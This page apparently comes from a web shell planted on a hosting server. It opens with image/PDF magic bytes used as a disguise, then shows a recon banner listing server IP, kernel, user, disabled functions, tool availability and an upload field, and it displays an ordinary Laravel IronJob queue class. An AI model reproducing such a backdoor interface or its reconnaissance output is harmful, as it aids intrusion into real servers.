ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.185 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/laravel/framework/src/Illuminate/Queue/Jobs/ |
Upload File : |
<?php namespace Illuminate\Queue\Jobs; use Illuminate\Support\Arr; use Illuminate\Queue\IronQueue; use Illuminate\Container\Container; use Illuminate\Contracts\Queue\Job as JobContract; class IronJob extends Job implements JobContract { /** * The Iron queue instance. * * @var \Illuminate\Queue\IronQueue */ protected $iron; /** * The IronMQ message instance. * * @var object */ protected $job; /** * Indicates if the message was a push message. * * @var bool */ protected $pushed = false; /** * Create a new job instance. * * @param \Illuminate\Container\Container $container * @param \Illuminate\Queue\IronQueue $iron * @param object $job * @param bool $pushed * @return void */ public function __construct(Container $container, IronQueue $iron, $job, $pushed = false) { $this->job = $job; $this->iron = $iron; $this->pushed = $pushed; $this->container = $container; } /** * Fire the job. * * @return void */ public function fire() { $this->resolveAndFire(json_decode($this->getRawBody(), true)); } /** * Get the raw body string for the job. * * @return string */ public function getRawBody() { return $this->job->body; } /** * Delete the job from the queue. * * @return void */ public function delete() { parent::delete(); if (isset($this->job->pushed)) { return; } $this->iron->deleteMessage($this->getQueue(), $this->job->id); } /** * Release the job back into the queue. * * @param int $delay * @return void */ public function release($delay = 0) { parent::release($delay); if (! $this->pushed) { $this->delete(); } $this->recreateJob($delay); } /** * Release a pushed job back onto the queue. * * @param int $delay * @return void */ protected function recreateJob($delay) { $payload = json_decode($this->job->body, true); Arr::set($payload, 'attempts', Arr::get($payload, 'attempts', 1) + 1); $this->iron->recreate(json_encode($payload), $this->getQueue(), $delay); } /** * Get the number of times the job has been attempted. * * @return int */ public function attempts() { return Arr::get(json_decode($this->job->body, true), 'attempts', 1); } /** * Get the job identifier. * * @return string */ public function getJobId() { return $this->job->id; } /** * Get the IoC container instance. * * @return \Illuminate\Container\Container */ public function getContainer() { return $this->container; } /** * Get the underlying Iron queue instance. * * @return \Illuminate\Queue\IronQueue */ public function getIron() { return $this->iron; } /** * Get the underlying IronMQ job. * * @return array */ public function getIronJob() { return $this->job; } /** * Get the name of the queue the job belongs to. * * @return string */ public function getQueue() { return Arr::get(json_decode($this->job->body, true), 'queue'); } }